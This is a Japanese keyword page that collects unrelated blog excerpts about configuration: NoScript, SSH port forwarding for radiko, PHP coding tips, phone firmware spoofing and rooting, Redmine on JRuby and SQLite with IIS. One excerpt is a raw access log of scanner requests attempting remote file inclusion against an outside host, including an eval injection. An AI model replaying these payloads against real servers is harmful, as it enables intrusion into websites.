はてなキーワード: configとは
バージョン2.1.8で実装された「reflected script inclusionに対する保護」機能で上記エラーが出る場合
about:config の
noscript.xss.checkInclusions を false に変えるか
noscript.xss.checkInclusions.exceptions に許可したいドメインを入力する
セキュリティ対策めんどくさい
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Host radiko.jp
HostName (IPアドレスを入れる)※1
Port 22 (もし違ったら変更する)
TcpKeepAlive yes
ServerAliveCountMax 15
ServerAliveInterval 80
LocalForward 1935 219.103.34.224:1935
LocalForward 80 219.103.34.224:80
LocalForward 80 219.103.34.226:80
LocalForward 443 219.103.34.226:443
LocalForward 8935 219.103.34.226:8935
LocalForward 8936 219.103.34.226:8936
LocalForward 8937 219.103.34.226:8937
-----------------------------------
ペロペロ
1. htmlのはき出しがあるやつは?>を書いたほうがいいよ。それ以外は最近はかないのがはやりだねさらに昔はevalとかで書いてた
2. configこれはwwwやpublic_html以下にしかconfigを配置できないクソサーバーがあるので、phpにしておいたほうが安全。なぜなら丸見えにしてあれこれパスをさらけ出すバカがいるかもしれないからだ。オープンソースなら特に。
3. コメントは挨拶だ。必要以上に挨拶を繰り返す必要もないし、それ以上でも以下でもない。
4. eclipseのせいと、phpとかが出始めたころのコーディング規約がスペースにするように求めた。{を改行してから書くか、続けて書くかのこれは宗教戦争だ。だが正直スペースは気に食わない。LLのくせに何バイトつかってるのだとおもう。あとスペース2文字インデントのやつは旅立て!
5. phpの0と""の違いは緩すぎる。そういう意味でナンバーの取り扱いにだけは気を配るべきだ。あとはtmpでもbufでもretでもなんでもいい。
6. nullはつっこむな、nullで初期化はすんな。初期化されてないからnullなんだ。issetは有効につかえ。とくに$_系の変数
7. 本当はerrorprocをかけといいたいがLLにそこまで望んでもしゃーない。エラーを投げると鯖ログにまで場合によっては落ちたりしてやっかいだからfalseを返せばいいというものでもないが、trueで初期化するやつは滅びていいと思う。あとarrayを返すようなfunctionの場合、phpのなんだっけisarray?だっけ?がクソすぎて萎える
8. つかダブルクオートのなかに$を書くコードは滅びていい。コンストはすべて大文字でという昔ながらのルールだけ守ってくれればいい
9. 出力系のラップ関数ぐらいつくっておこうぜ。あと、var_dumpとかのほうが見やすい。あと、get_defined_varsとかをラップしておくと便利
10. 三項演算子はつかうな。ifの{}を略すな。可読性がおちるのとしんたっくすで原因の特定がめんどくさい。
12. ++iなんていうコードを書くな。あと、roopの条件文で計算すんな
13. むしろこういうのは文字列の連結以外で使うようなスチュエーションをつくっちゃだめ
14. あら上で言っちゃったよ。ここまでやるんだったらlogファイルに吐き出すところまで拡張しとけば?
15. んー。エラーメッセージを定数化するときは外国版をつくるあてまである時だけだな
16. これも上でいってしまったな。あとリロードされてもいいように初期化でクリアしておくといいぞ。
17. ああそうだな、関数が1スクロールに収まらないときは大抵正規化に失敗してる。つくりをみなおせ
18. えー、こんな風に書くのはどうかしている。public二つチェインで呼び出すぐらいなら、内部でprivateを呼び出すか、継承させてparentにしておくべきか、それともシステムとして共通のstaticで呼び出せるかにしてくほうがいいのでは?$this->setThis()でいいじゃないか。なぜpublic functionをそういくつも定義する必要がある? 外部からの入り口出口は絞れ
19. グローバルなラッピング関数は最低限にとどめるべきで他は機能ごとにクラスつくってメソッド化しとけ。p(var)じゃねぇよDEBUG::p(var)とかにしとけってことだ
20. 眠くなったからねる。つまりはそんなもんだってことだ。気に病むな。満足してもらえるもんをしっかりつくればいいだけだ
http://1-byte.jp/2011/03/20/20_tips_you_need_to_learn_to_become_a_better_php_programmer/
良いPHPerだって?そんなものは丸めてゴミ箱にでも捨ててしまった方が資源の再利用になる分いくらかマシだ。
つまり俺たちがしなくちゃならないことは「より良いPHPerにならないため」に何ができるかってことなのさ。
それじゃ、始めよう。
?>なんて使っちゃいけない。そう俺たちはBAD PHPer。
無駄なホワイトスペースの出力に悩まされるくらいなら対称性なんて丸めてゴミ箱にでも捨てた方がまだマシだ。非対称性こそが賛美。
require_once("config.php");
未だにこんなことやってるやつがいるのかいベイベー。絶対にダメだ。この一行を見たら俺は悶絶する。
ダメだ、早く何とかしないと。
大抵このconfig.phpの中身はこうなっている。見て絶望だ。
$hoge_path = ''; if (!LOCAL) { define('FOO_FLAG', 1); if (HONBAN) { define('HOGE_FLAG', 1); } else if (TEST) { define('HOGE_FLAG', 2); } } else { $hoge_path = '/local'; define('FOO_FLAG', 2); define('HOGE_FLAG', 3); } define('HOGE_URL', $hoge_path.'/hoge/');
こういうのが延々と続くわけだ。もういやだ。もう見たくない。
本番環境とテスト環境でどういう値の違いがあるのか、ローカル環境だとどうなるのか、まったく把握できる気がしない。
なまじPHPな設定ファイルのせいで、処理をついつい書いてしまう。そしてどんどん複雑になってしまう。
やはり設定データは基本的にYAML等のデータしか定義できない形式のもので用意すべきだ。そして環境ごとに設定ファイルを分けるべきである。
そうすることで何にどういう違いがあるのかすぐにわかるし、diffすれば一度にすべて把握することができる。
# 本番環境設定ファイル foo_flag: 1 hoge_flag: 1 hoge_url: '/hoge/'
# テスト環境設定ファイル foo_flag: 1 hoge_flag: 2 hoge_url: '/hoge/'
# ローカル環境設定ファイル foo_flag: 2 hoge_flag: 3 hoge_url: '/local/hoge/'
// ここで後の処理のためにhogeメソッドを呼び出しておく $q->foo(); // $a['foo']はここに来る時点で真のはず // 2010-03-10 判定がおかしいので修正 // 2010-06-21 やっぱり値が入ってる方が正しい if ( !isset($hoge[0]) ) { }
コメントは保守されない。そう、それは真実。こんなコメントを発見したら即効削除しよう。コメントは基本信じるな。
俺たちにちょっとしたヒントと大きな損害を与えてくれる、それがコメントの役割なのだ。
わかる。いいたい事はとてもわかる。俺たちはしばしばインデントにスペースを使うはずだ。一方でIDEのしっかりした言語ではタブも使うことがある。しかし悪いことに、両者を混同しているプログラマも一定数いるのだ。
タブを画面上で認識しにくいエディタが世の中には存在する(何とは言わないが)
そして画面上で認識しにくいことを理由にタブを気にしないプログラマがいる。
この二つの条件が重なると、タブとスペースの交じり合ったインデントが完成する。もうぐちゃぐちゃだ。これは永遠に続く戦いだ。
私たちが勝利を掴むためにできることなどせいぜい、常にスペースしか使わない。タブを見つけたらその都度スペースに変換する。そういった地道な活動が明日へとつながるのだ。
われわれがプログラムをするとき、何に一番時間がかかってるか。実は変数の命名なのである。ここで拘り過ぎて時間をかけ過ぎては何も進まない。
御託はイイからさっさと書け、だ。しかしとはいっても変数名は重要。日頃からどういうときにどんな名前を使うかを決めておくといい。
そして変数名に型はまったく必要ない。型宣言のないPHPにおいて、型の変数名をつけること自体ナンセンスだ。
$iNumber = 'aaa';
になんの意味もない。コメントを信じるなでも言ったが、これはプログラマを混乱させるだけの害悪なものだ。
変数を使う前に初期化するのは、警告を出さないという意味でも良い癖だ。しかし具体的にどこでやるかが問題だ。
$foo = null; $foo = $q->foo();
こんな初期化に意味はない。よくあるのはやはり、if文で値を振り分けるケースだろう
$foo = null; if ( $hoge ) { $foo = 1; } else if ( $bar ) { $foo = 2; }
このときの初期化はとても有効だ。もしnullの初期化を忘れたまま$fooを使うと警告が出るが、ちゃんと初期化してるので出ない。基本中の基本だ。
function getStatus() { $bReturn = false; if ($i == 2) $bReturn = true; return $bReturn; }(中略)
もし、何かしらの理由で、あなたの書いたif文が間違っていたら?
この書き方をしていれば、間違った値に対して、常にfalseが返る。
私たちが、PHPでsensitiveなデータを取り扱うなら、正しいデータが入力されるまでは、動かないコードを書くべきだ。
trueとfalseの条件がいまいち明確ではないが、本当に動かないコードを書けというのであれば以下のようにすべきだ
function getStatus() { $bReturn = false; if ($i == 2) $bReturn = true; else if ($i == 1) $bReturn = false; else throw new Exception("bad status! $i"); return $bReturn; }
中途半端にfalseを返して生存させる必要性はまったくない。今すぐ死ね!
連想配列のキーを指定する場合だけ定数と間違わないようにクオートで囲まなければならない。そして逆に定数を使いたい場合はクオートで囲ってはいけない。
更に後世のプログラマが処理を見たときに、定数が使いたかったのか、文字列が使いたかったのかを明確にしたい場合はconstantを使うと良い。
// 定数のFOOを使うよということが明確になる print $a[constant('FOO')];
もし、文字列を変数の値と一緒に出力するとき、PHPではコンマの代わりにprintfを使うことが使える。
printf( “Hello, my name is %s“, $sName);
以下の代わりに上記のコードを使う。
echo “Hello, my name is “, $sName;
出力すべき変数が増えれば増えるほど、有効になっていく。とにかく迷ったならば、printfを使え、だ。
三項演算子はとても有効だ。しかし優先順位に難があるせいで、三項演算子をネストしようとすると以下のようなコードになってしまう
$n = (($i == 1) ? 2 : (($i == 2) ? 3 :$i));
括弧だらけで読みにくいったらありゃしない。三項演算子を使うなら一回まで。約束守れないやつは丸めてゴミ箱にでも捨てちまえ。
if ( $flag ) { }
仕様をちゃんと把握しているなら真偽値のチェックなどこれで十分。
もし事前にbool型だというのが確定してるのなら「$flag === true」を使えばいい。
インクリメント、デクリメント演算子は前に付くか後ろに付くかで意味が変わるので慣れるまでは非常にややこしい。
わけがわからなくなるくらいなら初めから使わないほうが良い。見極められないなら使うな。それがPHPerなのだ。
文句なしだ。これは文句がない。
他にも色々あるので覚えておこう
$a %= 1; $a &= 1; $a |= 1; $a ^= 1; $a <<= 1; $a >>= 1;
てっとり早く画面に表示する際にpreはよく使うが、デザインの関係上画面の文字が見えないときがある。
なのでdivを使って以下のようにしとくと便利だろう。
function p($var) {
echo "<div align='left' style='background-color:white;color:black;'><pre>";
print_r($var);
echo "</pre></div>";
}
君らが通常作るアプリケーションなんぞに、定数なんぞ必要ない。いいか、もう一度言う、お前ら程度のもんが、定数使おう何ぞ、おこがましいわ!
大丈夫。なんでもかんでも定数にする必要はない。結局設定ファイルに定数をずらずら作りまくってわけがわからなくなってるパターンが多い。
貴様みたいなもんに、定数は制御できん。いいか設定ファイルはYAML等のデータで持つようにし、その連想配列のデータ構造を一つ持ってるだけで定数の変わりになる。
このメリットに比べれば、定数だと書き換えられなくて良いという利点などこの歯のカスほどのものだ。そんなものは丸めてゴミ箱へ捨ててしまうといい。
認識を改めろ。俺たちはより良いPHPerにならないために努力している。
class Request { private $parameters; private $method; function __construct () { $this->method = $_SERVER['REQUEST_METHOD']; if ( strtoupper($this->method) === 'POST' ) { $this->parameters = $_POST; } else { $this->parameters = $_GET; } } function param ($key) { return isset($this->parameters[$key]) ? $this->parameters[$key] : null; } }
これだけでもいい。たったこれだけでもとても便利だ。ここから拡張してGETやPOSTを明示的に取るメソッドとかも作ってみるといい。自分の手を動かすのだ!
例が良くない。こんなのは引数が20個ある関数から、setを20回呼ぶオブジェクトに変わっただけではないか。
そもそもこの20個の引数とはなんなのか。何かのデータ構造なんであれば連想配列にして引数一つとして渡すべきだし、それぞれまったく異なる用途の変数なのであればWindowsプログラミングじゃあるまいし、20個も引数取る時点で設計が間違えている。
何がいいたいか。別に関数でもオブジェクトでもどっちでもいいということだ。
そんなことで悩んでる暇があったら設計を見直せ。
スキあらば自分自身を返せ。スキあらばオブジェクトを返せ。配列はArrayObjectのARRAY_AS_PROPSで返せ。
ひたすらメソッドチェイン。来る日も来る日もメソッドチェイン。とにかくメソッドチェインを使い続けろ。そこに未来はある。
どんなコードも繰り返すな。もし、少しでも同じコードを書いていたなら、それは関数に置き換えてしまえ。
・・・と、いうのはやめなさい。
一見同じように見えた処理でも前後の流れでまったく違うものということが往々にしてある。
まとめ方にも問題があるケースもある。何でもかんでも関数化すると、関数が膨大に増えていく。君は見たことがあるだろうか。common.phpやfunction.phpの恐ろしさを。
確かに細かく関数化はされているが、適切に関数化していないのである。結合度が非常に高い。なんでもかんでも盲目的にまとめれば良いという話ではないのだ!
あまりに極度に意識しすぎると、プログラムそのものができなくなる。そういう状態に陥る。
気を抜いて。そう気を抜いて。所詮あなたのコードなんてすぐに消えてなくなるよ。きっともっと偉い人が作り直すよ。だからまずは思うが侭にやるといい。
結合度を減らすというのは非常に難しい。何度も何度も失敗し続けて、ようやくここは分けた方が良かったんだなと気付く。次に活かそうと心に決める。そしてまた同じ過ちを繰り返していくわけだ。
まずは実装することだ。これが一番の早道だ。まずはがっつり結合した関数をあえて作るといい。何も考えずに作ろう。
そしてその後に、一部分使いまわしたいとおもうことがあるはずだ。その時に関数に切り出そう。それを繰り返すといい。そのうち初めから分けた方が良いと気付く。
何事も経験が必要である!経験を積まないプログラマは丸めてゴミ箱に捨ててしまえ。
さて、先の例で言うならば、私ならadd_result_outputという関数を作ってしまうだろう。だって、addとresultを連続して呼ぶのはめんどくさいんだもん。一連の流れをいつも使うのなら、その流れをやってくれる関数を作ればいいじゃないか。
function add_result_output ($iVar, $iVar2) { $r = add($iVar, $iVar2); echo result($r); }
もっと言えばクラス化してしまってもいいかもしれない。どんな感じになるかは君の手を動かして確認しよう!
このTipsはとてもわかりにくく、ニッチ過ぎる部分も多いかもしれない。
あくまでも「より良いPHPerにならないための20Tips」なのだ。
君はこの記事を鵜呑みにしてはならない。PHPをPHPと見抜けないPHPerはPHPを使うのは難しい。
もし、あなたがPHPプログラマなら、公式のPHPドキュメントはあなたのケツの穴を拭くための紙になるだろう。
私は、それぞれのセクションを眺めて、各関数でどんなことが出来るかなんぞ、歯クソのゴミ程に役に立たないとおもっている。動けばいい。はは。
あなたは、PHPで用意された既製関数で多くのことが実現できることに、(俺の仕事を減らすなと)驚くはずだ。
この記事があなたの役に立たない事を。
ふざけんな!
この記事に書かれている内容は、丸めてゴミ箱に捨てた方が良いレベルです。
UK版ファームにはまだ通知がこないので、Nordic あたりに偽装して試してみる。
■準備
12:55 まずは準備。母艦に入ってたソニエリの Update Service をアンインストールした。
13:00 Titanium Backup http://tinyurl.com/22rxwqc でアプリをバックアップした。
13:01 純正のバックアップツールで SMS/MMS をバックアップ。
13:05 APN Backup Restore http://tinyurl.com/26t6pq7 で APN 設定をバックアップ
13:08 (念のため) SMS Backup+ http://tinyurl.com/24kv56y で SMS/MMS を gmail にバックアップしておこう
13:17 SMS しかバックアップ取れてないぞ。ま、いいか。準備完了。
■いよいよアップデート
13:17 build.prop を書き換えよう。Xda developers http://forum.xda-developers.com/ に情報探しに行く
13:21 日本語の情報あるじゃねーか。。。http://tinyurl.com/2uzugyk http://tinyurl.com/2fu9xsy
13:23 build.prop の 1238-0199 を 1238-8536 に書き換え。要 root
ro.product.name=U20i_1238-8536
ro.build.fingerprint=SEMC/U20i_1238-8536/SonyEricssonU20i/delta:1.6/1.1.A.0.8/1:user/release-keys
ro.semc.version.cust=1238-8536
13:30 ここら辺 http://tinyurl.com/ydjr8jg から Update Service をインストール
13:36 ダメだ。最新のソフトウェアがインストールされています、だそうだ。
娘が起きてしまったので一旦中断
15:50 再開。Update Service をアンインストール、PC 再起動、再インストール
15:59 Back ボタンを押しながら USB 接続すると、アップデートがあります、だそうだ。
16:05 アップデート完了。
■root
16:24 ここら辺 http://juggly.cn/archives/12187.html を読みながら SuperOneClick で root 化。5分くらい経ったけどまだダメ。
16:33 APN Backup Restore http://tinyurl.com/26t6pq7 で APN 設定を復元
一旦中断
16:50 USB Debugging 有効、Unknown Sources 許可、Screen timeout 30分にして再度挑戦。10分くらい放っておいたら root 取れてた。
■ひたすらリストア
17:00 Titanium Backup http://tinyurl.com/22rxwqc でアプリを復元。一つ一つやると時間かかる。有料版買おうかな
17:15 純正のバックアップツールで SMS/MMS をリストア。
17:26 Auto-sync 有効にして放っておいたら電話帳もリストアされた。
夕食のため中断
21:34 DroidSansJapanese.ttf (中身はメイリオ) と DroidSansFallback.ttf を /system/fonts に入れて reboot
UK ファームのときの qwerty.kcm.bin を取っておけば良かったのかな。
00:45 MMS の UserAgent 変えるの忘れてた。custom_settings.xml で対処 http://tinyurl.com/29qex3v
■キーマップ変更
11/4 11:13 ここ http://tinyurl.com/33lw734 に添付してある keys.tar を解答して、keyboard-config 以下のファイル全部と、mimmi_keypad.kcm.bin を置き換えたらキーマップも EN 配列になった。qwerty.kcm.bin は mimmi_keypad.kcm.bin へのシンボリックリンクだったので置き換えず。←今ココ
結構苦労したので健忘録として。。
環境は以下のとおり
yum install mysql-server
/etc/init.d/mysqld start
mysql_secure_installation
jruby -S gem install rails jruby -S gem install warbler jruby -S gem install activerecord-jdbc-adapter jruby -S gem install activerecord-jdbcmysql-adapter jruby -S gem install jdbc-mysql
mysql -u root -p mysql> create database redmine character set utf8; mysql> grant all privileges on redmine.* to 'redmine'@'localhost' identified by 'redmine'; mysql> exit
(任意の場所にRedmineを解凍して、解凍先のディレクトリに移動した後)
cp config/database.yml.example config/database.yml vi config/database.yml
database.yml
production: adapter: jdbcmysql database: redmine host: localhost username: redmine password: redmine encoding: utf8 #development: # # #test: # #
後のwarbleでのエラーを防ぐため、developmentとtestをコメントアウト
jruby -S rake generate_session_store jruby -S rake db:migrate RAILS_ENV=production jruby -S rake load_default_data RAILS_ENV=production
script/serverで起動し、http://localhost:3000 にアクセスして正常に動作するか確認する
jruby script/server -e production
vi config/environments/production.rb config.logger = Logger.new(config.log_path) config.logger.level = Logger::INFO
warble.rbを生成
jruby -S warble config
warble.rbを修正
vi config/warble.rb config.dirs = %w(app config lib log vendor tmp extra files lang) config.gems = ["jdbc-mysql", "activerecord-jdbcmysql-adapter", "activerecord-jdbc-adapter"] config.gems["rails"] = "2.3.5" config.gems["rack"] = "1.0.1" config.webxml.rails.env = "production"
jruby -S warble
できたwarファイルをTomcatに配置して、Tomcatを起動する
mv redmine-0.9.3.war /usr/local/tomcat/webapps/redmine.war /usr/local/tomcat/bin/startup.sh
warblerのバグ(?)でwarに入らないファイルをコピーして入れる
cp vendor/gems/rubytree-0.5.2/.specification /usr/local/tomcat/webapps/redmine/WEB-INF/vendor/gems/rubytree-0.5.2
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"
自分のための覚え書き。知ってる人からすれば全然当たり前のことかも…
IIS上で、Visual Studio 2008で開発したASP.NETなWebサイトを動かす時に、SQLiteを使う方法
IISの動作しているマシンに「SQLite for ADO.NET 2.0」をインストール。
それだけで良いと思ったけれど、以下のエラーが発生。
ArgumentException: 要求された .Net Framework データ プロバイダが見つかりません。これは、インストールされていない可能性があります。
いろいろ調べたら、手動でmachine.configを書き換える必要があるみたい。
<system.data> <DbProviderFactories> <add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".Net Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite, Version=1.0.61.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139" /> </DbProviderFactories> </system.data>
無事に動くようになりました。